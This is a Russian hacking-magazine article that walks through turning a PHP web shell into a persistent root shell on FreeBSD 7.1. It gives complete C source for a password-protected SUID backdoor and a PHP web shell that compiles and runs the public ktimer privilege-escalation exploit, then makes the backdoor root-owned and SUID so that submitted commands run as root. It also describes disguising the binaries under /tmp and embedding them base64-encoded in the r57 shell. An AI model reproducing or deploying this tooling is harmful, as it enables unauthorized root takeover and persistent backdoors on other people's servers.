Содержание статьи
Сегодня мы с тобой свершим переворот в сложившихся устоях мира. Наверняка, ты
уже имел дело с web-shell'ами, такими как r57, c99, WSO2 и иже с ними. Так, вот
о чем я — уверен, зайдя на свежезалитый шелл, ты первым делом смотришь свои
права в системе, а именно – результат команды "id" в nix-like системах. Вот, к
примеру, наши права по дефолту uid=80, то есть права обычного юзера www! Не
отчаивайся, мы научимся поднимать их до r00t'a и сохранять (!) непосредственно в
веб-шелле. Это мечта любого хакера.
Немного теории
SUID - расшифровывается как Set user ID, переводится с забугорного –
"установить идентификатор пользователя". Если установлены права доступа SUID и
файл исполняемый (то есть наш будущий бинарник), то при выполнении этот файл
получает не права запустившего его (www), а права владельца файла.
Эксплойт — в нашем случае это компьютерная программа, использующая уязвимости
в программном обеспечении и применяемая для повышения привилегий (получения
рута). Это был вольный пересказ Википедии.
Root, суперпользователь — специальный аккаунт в UNIX-подобных системах с
идентификатором (UID) 0, владелец которого имеет право на выполнение всех без
исключения операций (грубо говоря, да простят меня линуксоиды, это аналог учетки
Администратора в Windows). Тоже вольный пересказ Википедии.
Итак, с теорией покончили (надеюсь, было нескучно). Движемся далее...
Наполеоновские планы
Затея у нас круче, чем у Наполеона, мы собираемся сделать мировую революцию.
Нам предстоит удивить всех рутовым web-шеллом, которого нет ни у кого! А именно,
предстоит:
- Составить задачу и продумать алгоритм работы нашего чудо-шелла
- Накодить SUIDник
- Накодить непосредственно сам web-Shell
- Связать все эти прелести чудесных языков программирования
- Таки получить и сохранить r00t'a на вражеском сервере
Первым делом, первым делом... алгоритмы
Сначала придумаем алгоритм работы и вообще всю схему получения и сохранения
рута. Сразу предупрежу, что тестировать наше детище мы будем на сервере с
установленной FreeBSD 7.1 (причины сего деяния оглашу позже).
Смысл всей затеи состоит в следующем — мы запустим эксплоит из Web'а, то есть
непосредственно из нашего любимого браузера, установим суидные права и сменим
хозяина (owner'a) нашему суиднику и наконец-таки будем выполнять команды под
рутом.
Почему же мы выбрали для теста именно FreeBSD 7.1? Все гениальное просто. Мы
ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходящий
эксплойт ktimer.
Прелесть в том, что результат его работы — не получение /bin/sh, а установка uid=0,
gid=0 вызывающему процессу. Это-то нам и нужно.
Пишем SUIDник
От слов к делу, – я сразу приведу листинг кода, а уж после будем с тобой его
разбирать.
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
// проверяем количество аргументов
if(argc == 3){
//проверяем наш пароль cool_hack
if(strcmp(argv[1],"cool_hack") == 0){
// Устанавливаем gid(0) r00t
setgid(0);
// Устанавливаем uid(0) r00t
setuid(0);
// Выполняем команды с установленными ранее правами
system(argv[2]);
}
}
return 0;
}
Думаю, глядя на комментарии, уже становится ясен смысл нашей программы.
Сначала мы проверяем количество аргументов – их должно быть три: argv[0] –
имя самого скомпилированного SUIDника, argv[1] – наш пароль и argv[2]-
непосредственно сама команда.
Разберемся с некоторыми моментами работы с бинарными файлами при
установленном SUID-бите, дабы не возвращаться к этому позднее.
-rwxr-x--x 1 www apache 5043 2009-09-09 13:51 suid
Файл suid с правами доступа -rwxr-x--x, то есть хозяин файла (www) может
читать, изменять и запускать на исполнение; члены группы (apache) могут
читать и запускать файл на исполнение, а все остальные пользователи могут
лишь запускать на исполнение.
К примеру, результат команды id через наш файл для членов группы site будет
подобным uid=80(site), gid=80(site), groups=80(apache)- Устанавливаем бит SUID на файл командой chmod 4751 suid
-rwsr-x--x 1 www apache 5043 2009-09-09 13:51 suid
Наверняка, ты заметил, что символ x (запуск на исполнение) сменился на s (SUID
бит). Как мы уже знаем, бинарник с суид битом будет выполняться не от имени
вызывающего, а от имени хозяина (owner'a). Опять же, результат команды id
через наш файл для членов группы site будет подобным uid=80(www), gid=80(www),
groups=80(apache). - Забегая вперед, обозначим, что нам придется сменить владельца файла. Мы
это сделаем под рутом командой chown root suid.
-rwsr-x--x 1 root apache 5043 2009-09-09 13:51 suid
И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root),
groups=80(apache). Исходя из этого, уже видно, что любой пользователь
системы, даже не входя в состав группы хозяина, имеет право на запуск
бинарника, да мало того, еще и с правами хозяина, то бишь рута, так как
установлен SUID-бит.
Так-с, с этим разобрались. Осталась самая малость, – скомпилировать файл.
Делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid.
Пример использования будет таков – "./suid cool_hack id" (имя файла, пароль,
команда)
Начинаем ][-кодинг
<?php
/************************* CONFIGURATION **************************************/
$pass_suid = 'cool_hack'; // пароль, который мы установили в сорцах суидника
/************************* END CONFIGURATION **********************************/
/************************* FUNCTIONS ******************************************/
/*
Наша функция по выполнению команд
Если существует файл /tmp/conf (так мы замаскировали наш суидник),
то выполнение команд идет через него, иначе просто функцией system.
*/
function hack_system($cmd,$pass_suid)
{
if(file_exists('/tmp/conf')){
system('/tmp/conf '.$pass_suid.' "'.$cmd.'"'));
}
else{
system($cmd);
}
}
/*
Вот и главная функция, которая скопирует наш эксплойт и суидник,
скомпилирует их и запустит
*/
function give_me_root()
{
// компилируем эксплойт
system('gcc bsd-ktimer.c -o /tmp/configure');
// компилируем суидник
system('gcc suid.c -o /tmp/conf');
// запускаем сплойт, меняем "овнера" суиднику и устанавливаем права
system('/tmp/configure; chown root /tmp/conf; chmod 4777 /tmp/conf');
return print 'OK!';
}
/************************* END FUNCTIONS **************************************/
print
'<html>'.
'<head>'.
'<title>r00t web-shell</title>'.
'</head>'.
'<body>';
/************************* MAIN CODE ******************************************/
/*
Выводим форму для выполнения команд
*/
if(!isset($_POST['cmd'])){
print '<form method="post">'.
'<input name="cmd" type="text" value="ls -lia">'.
'<input type="submit" value="Go">'.
'</form><br><br>';
}
else
{
hack_system($_POST['cmd'],$pass_suid);
}
/*
Выводим заветную кнопочку для получения рута
*/
if(!isset($_POST['give_me_root'])){
print '<form method="post">
<input type="submit" name="give_me_root" value="Give me r00t">
</form>';
}
else
{
give_me_root();
}
/************************* END CODE *******************************************/
print
'</body>'.
'</html>';
?>
Интеграция, адаптация и прочие непонятные слова
В итоге мы таки получили рута! При последующем посещении web-шелла мы уже
будем рутом (при условии, что наш суид-шелл не увидит рут, и не удалит его).
Однако шелл у нас получился довольно примитивный; чтобы интегрировать наши
прелести в привычные шелла типа r57, c99, WSO2 и т.д., принцип работы тот же.
На диске ты найдешь подправленный
мной код шелла r57. Единственное, что отличает подправленный r57 от того,
который мы сегодня написали, – в r57 я эксплойт и суид-шелл скомпилировал,
перевел полученные бинарники в base64 и вставил полученный код в сам шелл. Далее
мы расшифровываем base64 код и сохраняем в файл. Таким образом, у нас получается
один файл, – это удобнее в плане транспортирования и заливки.
С интеграцией в другие шеллы разобрались, осталось разобрать ситуацию с
применением эксплойтов для других операционных систем и других версий. Причина,
по которой я выбрал для теста FreeBSD – в том, что этот эксплойт под версию 7.1
и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались
при простом бекконекте, а возвращает uid и gid 0 для текущего процесса. То есть
является универсальным. Последний способ для нас удачен, так как мы можем
использовать его непосредственно из web'a. Так мы пришли к выводу, что для
использования эксплойта с нашими условиями необходимо переписать эксплойты,
чтобы они устанавливали uid, gid. Как это организовать - история уже для другой
статьи.
Итоги наших приключений
Сразу хочется отметить плюсы и минусы этого подхода к получению рута.
Плюсы
- Получаем права Root на веб-шелле
- Не нужен сервер для бекконекта
- Обход файрвола, так как нет исходящих соединений, бинда порта и т.д. (а
зачастую это большая проблема для создания бекконекта)
Минусы
- Пока есть малое количество эксплойтов, которые мы можем использовать;
остальные нужно редактировать - Если наш шелл попадет к недругам, либо просто к нечистым на руку, то
злодеи получат уже готовенький root-шелл без особых усилий. Так что
защищайте свой шелл!
WWW
http://milw0rm.com/exploits/8261 - эксплоит bsd-ktimer.c.
http://wiki.kryukov.biz/wiki/Специальные_права - описание SUID, SGID и Stiky
битов.
DANGER
Внимание! Редакция журнала и автор не несут ответственности за вред,
возможно, причиненный при использовании методов и файлов данной статьи. Статья
представлена только для ознакомления в образовательных целях.
INFO
Выражаю благодарность за советы, тестирование и помощь следующим
подозрительным личностям - IceAngel_, oRb, jokester.